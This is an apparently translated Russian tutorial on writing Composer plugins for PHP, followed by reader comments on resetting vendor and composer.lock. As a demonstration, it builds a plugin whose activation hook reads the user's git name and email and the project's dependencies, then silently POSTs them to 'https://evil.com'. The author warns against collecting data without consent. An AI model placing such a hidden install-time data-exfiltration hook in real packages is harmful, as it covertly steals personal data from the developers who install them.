Composer
— это самый важный инструмент в наборе современного PHP-разработчика. Времена ручного управления зависимостями остались в далеком прошлом, и их место заняли такие замечательные вещи как Semver
. Вещи, которые помогают нам спать по ночам, ведь мы можем обновлять наши зависимости не обрушивая все вокруг. Хоть мы и используем
Composer
довольно часто, не все знают о том, как расширить его возможности. Такая мысль даже не возникает, ведь он и так делает свою работу хорошо по-умолчанию, и кажется, что это не стоит времени или усилий, чтобы попытаться или хотя бы изучить. Даже в официальной документации обходят стороной этот вопрос. Наверное, потому что никто не спрашивает…Однако, недавние изменения сделали разработку плагинов для
Composer
намного легче. Сам же Composer
также недавно перешел из альфа-версии в бету, пожалуй, это самый консервативный цикл релизов из когда-либо задуманных. Этот инструмент, который изменил современный PHP-мир, сделал его таким, каким мы видим его сейчас. Этот краеугольный камень профессиональной разработки PHP. Он просто перешел из альфы в бету.Итак, сегодня я подумал, что мне бы хотелось исследовать возможности composer-плагинов, и по ходу дела создать немного свежей документации.
Вы можете найти код этого плагина на Github.
Приступая к работе
Для начала, нам нужно создать репозиторий с плагином, отдельно от приложения, в котором мы будем его использовать. Плагины устанавливаются как и обычные зависимости. Давайте созданим новую папку и положим туда
composer.json
файл:{
"type": "composer-plugin",
"name": "habrahabr/plugin",
"require": {
"composer-plugin-api": "^1.0"
}
}
Каждая из этих строчек важна! Мы присваиваем этому плагину тип
composer-plugin
для того, чтобы иметь доступ к хукам жизненного цикла Composer
, которые мы будем использовать.Мы даем имя плагину, чтобы наше приложение могло добавить его в зависимости. Вы можете использовать все остальные переменные по вашему усмотрению, но запомните как вы назвали плагин, это нам понадобится позже.
Также необходимо проставить зависимость с
composer-plugin-api
. Указанная версия важна, потому что наш плагин будет рассматриваться как совместимый с определенной версией API плагинов, что в свою очередь влияет на такие вещи, как, например, метод подписей.Далее нам нужно указать класс для автозагрузки плагина:
"autoload": {
"psr-4": {
"HabraHabr\\": "src"
}
},
"extra": {
"class": "HabraHabr\\Plugin"
}
Создаем папку
src
с файлом Plugin.php
. Вот код, который отработает на первом хуке в жизненном цикле Composer
:namespace HabraHabr;
use Composer\Composer;
use Composer\IO\IOInterface;
use Composer\Plugin\PluginInterface;
class Plugin implements PluginInterface
{
public function activate(Composer $composer, IOInterface $io)
{
print "hello world";
}
}
PluginInterface
описывает наличие публичного метода activate
, который вызывается после загрузки плагина. Давайте убедимся, что наш плагин работае. Перейдем в наше приложение и создадим для него composer.json
:{
"name": "habrahabr/app",
"require": {
"habrahabr/plugin": "*"
},
"repositories": [
{
"type": "path",
"url": "../habrahabr-plugin"
}
],
"minimum-stability": "dev",
"prefer-stable": true
}
Это значительно проще, чем раньше и больше похоже на то, как люди будут использовать ваш плагин. Лучшим решением было бы выпустить стабильные версии вашего плагина через Packagist, но пока вы разрабатываете и так нормально. Конфиг сообщает
Composer
'у что нужно запросить любые имеющиеся версии habrahabr/plugin
и указывает источник для зависимости.Путь к репозиторию относительный, поэтому Composer автоматически сделает symlink и заботится об этом вам не придется. И раз уж мы завязываемся на нестабильной зависимости, то давайте укажем минимально-требуемый уровень как
dev
.В подобных ситуациях все же будет предпочтительней использовать стабильные версии библиотек там, где это возможно...
Теперь при запуске
composer install
из папки приложения вы увидите сообщение hello world
! И все это без какого либо размещения кода на на github или Packagist.Я рекомендую использовать команду
rm -rf vendor composer.lock; composer install
во время разработки, она позволит сбросить приложение/плагин к исходному состоянию. Особенно это пригодится, когда вы начнете работать с папками для установки!Исследуем возможности
Также хорошей идеей будет поставить в зависимости
composer/composer
, это упростит нам работу с интерфейсами и классами, которые в будущем нам понадобятся.Большую часть того, что вы узнаете о плагинах, вы можете найти глядя на исходные коды
Composer
. В качестве альтернативы можно воспользоваться дебаггером и проверить весь ход исполнения, начиная с метода activate
. Также, если вы используете IDE, например PHPStorm, наличие исходников облегчит изучение и поможет легко перемещаться между вашим кодом и кодом менеджера зависимостей.Например, мы можем проинспектировать
$composer->getPackage()
, чтобы увидеть для чего нужна та или иная переменная в файле composer.json
. Также Composer
предоставляет возможность задавать вопросы во время процесса установки, используя $io->ask("...")
.Давайте это используем!
Начнем же наконец-то делать что-то практичное и, возможно, немного дьявольское! Давайте сделаем так, чтобы наш плагин отслеживал действия пользователей и зависимости, которые они требуют. Начнем с поиска их имени и почты, указанных в
git
:public function activate(Composer $composer, IOInterface $io)
{
exec("git config --global user.name", $name);
exec("git config --global user.email", $email);
$payload = [];
if (count($name) > 0) {
$payload["name"] = $name[0];
}
if (count($email) > 0) {
$payload["email"] = $email[0];
}
}
Имена пользователей и адреса электронной почты обычно хранятся в глобальном конфиге
git
, команда git config --global user.name
, выполненная в терминале, вернет их. Выполнив их через exec
мы получим результаты в нашем плагине.Теперь, давайте отследим имя приложения (если оно определено), а также набор зависимостей и их версий. То же самое сделаем для
dev
-зависимостей, сделаем обеих групп общий метод:private function addDependencies($type, array $dependencies, array $payload)
{
$payload = array_slice($payload, 0);
if (count($dependencies) > 0) {
$payload[$type] = [];
}
foreach ($dependencies as $dependency) {
$name = $dependency->getTarget();
$version = $dependency->getPrettyConstraint();
$payload[$type][$name] = $version;
}
return $payload;
}
Мы получаем название и ограничения по версии для каждой из библитоек и добавляем их в массив
$payload
. Вызов array_slice
гарантирует нам отсутствие побочных эффектов этого метода, при многократном вызове мы получим точно такие же результаты.Подобную реазилацию часто называют
pure function
, или примером использования неизменяемых переменных.Теперь давайте используем этот метод и передадим ему массивы с зависимостями:
public function activate(Composer $composer, IOInterface $io)
{
// ...get user details
$app = $composer->getPackage()->getName();
if ($app) {
$payload["app"] = $app;
}
$payload = $this->addDependencies(
"requires",
$composer->getPackage()->getRequires(),
$payload
);
$payload = $this->addDependencies(
"dev-requires",
$composer->getPackage()->getDevRequires(),
$payload
);
}
И наконец, мы можем отправить эти данные куда-нибудь:
public function activate(Composer $composer, IOInterface $io)
{
// ...get user details
// ...get project details
$context = stream_context_create([
"http" => [
"method" => "POST",
"timeout" => 0.5,
"content" => http_build_query($payload),
],
]);
@file_get_contents("https://evil.com", false, $context);
}
Мы могли бы использовать Guzzle для этого, но
file_get_contents
работает также хорошо. По сути, все что нужно сделать — POST
запрос на https://evil.com
с сериализированными данными.Будь хорошим
Я ни в коем случае не призываю вас собирать в тайне собирать пользовательские данные. Но, возможно, полезно знать, сколько данных может кто-то собрать, с помощью простой зависимость к хорошо продуманному
Composer
-плагину.Конечно, можно использовать опцию
composer install --no-plugins
, но множество фреймворков и систем управления контентом зависят от плагинов, требующихся для их правильной установки.Несколько дополнительных предупреждений:
- Если вы собираетесь использовать
exec
, фильтруйте и проверяйте любые данные, которые не указаны жестко в коде. В противном случае вы создаете вектор атаки на ваш код. - Если вы отправляете данные, отправляйте их по HTTPS. Иначе другие люди доберутся до них.
- Не отслеживайте пользовательские данные без согласия. Задавайте вопрос перед тем, как начать сбор, делайте это каждый раз! Что-то вроде
IOInterface::ask("...")
— как раз то, что вам нужно...
Помогла ли вам эта статья? Возможно, у вас есть идея для плагина; например свой плагин-установщик для библиотек, или плагин, который загружает оффлайн документацию для популярных проектов. Дайте знать в комментариях ниже…
zelenin
это равносильно composer update.
iGusev
Ну все-таки не совсем, есть хуки для инсталляции и для апдейта, они необязательно одинаковы
zelenin
хуки — да. но в контексте сочетания этих двух команд равносильно.
kamilsk
Нет, это не так.
github.com/composer/composer/blob/1.0.0-beta2/src/Composer/Installer.php#L303
Дальше функции для изучения \Composer\Package\Locker::setLockData, \Composer\Json\JsonFile::write.
composer.lock удаляется только однажды, если выполняется:
`if (empty($lock['packages']) && empty($lock['packages-dev']) && empty($lock['platform']) && empty($lock['platform-dev'])) {`
Тем более не трогается папка vendor.
zelenin
vendor не заметил. тем не менее, итог будет один — все пакеты будут обновлены до последних версий. Именно это имелось в виду в рекомендации и именно это произойдет после composer update. А разница "под капотом" очевидно будет, но не имеет отношения к обсуждаемой рекомендации.
kamilsk
Упущенная деталь из первоисточника
Все-таки автор оригинальной статьи рекомендует использовать данную комбинацию для сброса состояния приложения, в то время как composer update оперирует текущим состоянием.
zelenin
да, но результат должен быть идентичным. просто автор статьи усложнил зачем-то, возможно по не знанию или не пониманию.
kamilsk
Я могу лишь предположить, что, т.к. речь идет о создании плагина для composer и работы с директорией vendor (т.е. это тесная работа с самим composer), то может возникнуть ситуация, при которой содержимое composer.lock и vendor/composer/installed.json будет не консистентно тому, что на самом деле лежит в vendor. В таком случае composer update не сбросит "поврежденное" состояние.
Это мое предположение, за реальными объяснениями можно обратиться к автору оригинальной статьи.
iGusev
Спасибо за дополнение. Добавил в текст
andKirby
Я бы назвал это full reinstall to the latest packages version.